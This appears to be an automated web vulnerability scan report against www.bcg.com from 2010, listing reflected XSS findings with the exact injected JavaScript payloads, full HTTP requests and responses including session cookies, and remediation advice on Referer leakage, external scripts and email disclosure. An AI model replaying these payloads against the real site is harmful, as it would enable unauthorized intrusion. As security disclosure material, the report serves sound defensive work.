Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://www.bcg.com/contact.aspx/contact.aspx [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bcg.com
Path:
/contact.aspx/contact.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c08f8"%3balert(1)//f05cf9abae8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as c08f8";alert(1)//f05cf9abae8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /contact.aspx/contact.aspx?c08f8"%3balert(1)//f05cf9abae8=1 HTTP/1.1 Host: www.bcg.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=236283410.1290273471.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=236283410.661477268.1290273471.1290273471.1290273471.1; SIFR-PREFETCHED=true; __utmc=236283410; __utmb=236283410.1.10.1290273471; ASP.NET_SessionId=grnlpk55juiiwb45rsxwng45;
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Expires: Sat, 20 Nov 2010 17:43:43 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 20 Nov 2010 17:43:43 GMT Content-Length: 30579 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" >
The value of the b8f37%22%3balert(1)//9a8fe933aad request parameter is copied into a JavaScript rest-of-line comment. The payload 3157c%0aalert(1)//e3b529cf0c1 was submitted in the b8f37%22%3balert(1)//9a8fe933aad parameter. This input was echoed as 3157c alert(1)//e3b529cf0c1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /contact.aspx/x22?b8f37%22%3balert(1)//9a8fe933aad=13157c%0aalert(1)//e3b529cf0c1 HTTP/1.1 Host: www.bcg.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Vary: Accept-Encoding Expires: Sat, 20 Nov 2010 18:02:33 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 20 Nov 2010 18:02:33 GMT Connection: close Set-Cookie: ASP.NET_SessionId=bcq3qe45njnmzguemfbky0np; path=/; HttpOnly Content-Length: 30648
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" >
function MessageCategorySelected() { var messageCat = $('#ctl00_MainContent_contactUs_MessageCategoryDd').val(); HideAllErrorMsg();
...[SNIP]...
1.3. http://www.bcg.com/contact.aspx/x22 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bcg.com
Path:
/contact.aspx/x22
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b8f37"%3balert(1)//9a8fe933aad was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as b8f37";alert(1)//9a8fe933aad in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /contact.aspx/x22?b8f37"%3balert(1)//9a8fe933aad=1 HTTP/1.1 Host: www.bcg.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Expires: Sat, 20 Nov 2010 15:27:51 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 20 Nov 2010 15:27:51 GMT Content-Length: 30561 Connection: close Set-Cookie: ASP.NET_SessionId=grnlpk55juiiwb45rsxwng45; path=/; HttpOnly
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" >
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7495d"%3balert(1)//3916a5c6863 was submitted in the Referer HTTP header. This input was echoed as 7495d";alert(1)//3916a5c6863 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /contact.aspx/contact.aspx HTTP/1.1 Host: www.bcg.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=236283410.1290273471.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=236283410.661477268.1290273471.1290273471.1290273471.1; SIFR-PREFETCHED=true; __utmc=236283410; __utmb=236283410.1.10.1290273471; ASP.NET_SessionId=grnlpk55juiiwb45rsxwng45; Referer: http://www.google.com/search?hl=en&q=7495d"%3balert(1)//3916a5c6863
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 30524 Expires: Sat, 20 Nov 2010 17:43:52 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 20 Nov 2010 17:43:52 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" >
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 52166"%3balert(1)//e8f2cfd28da was submitted in the Referer HTTP header. This input was echoed as 52166";alert(1)//e8f2cfd28da in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /contact.aspx/x22 HTTP/1.1 Host: www.bcg.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=52166"%3balert(1)//e8f2cfd28da
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Expires: Sat, 20 Nov 2010 15:27:54 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 20 Nov 2010 15:27:54 GMT Content-Length: 30524 Connection: close Set-Cookie: ASP.NET_SessionId=4qlhs255ycrzfsmr1arwpd55; path=/; HttpOnly
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" >
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /contact.aspx/x22?b8f37%22%3balert(1)//9a8fe933aad=1 HTTP/1.1 Host: www.bcg.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Vary: Accept-Encoding Expires: Sat, 20 Nov 2010 18:02:27 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 20 Nov 2010 18:02:27 GMT Connection: close Set-Cookie: ASP.NET_SessionId=1yxnwhziccmkxa55c2s2nq45; path=/; HttpOnly Content-Length: 30561
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" >
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
Request
GET /contact.aspx/x22?b8f37%22%3balert(1)//9a8fe933aad=1 HTTP/1.1 Host: www.bcg.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Vary: Accept-Encoding Expires: Sat, 20 Nov 2010 18:02:27 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 20 Nov 2010 18:02:27 GMT Connection: close Set-Cookie: ASP.NET_SessionId=1yxnwhziccmkxa55c2s2nq45; path=/; HttpOnly Content-Length: 30561
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" >
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).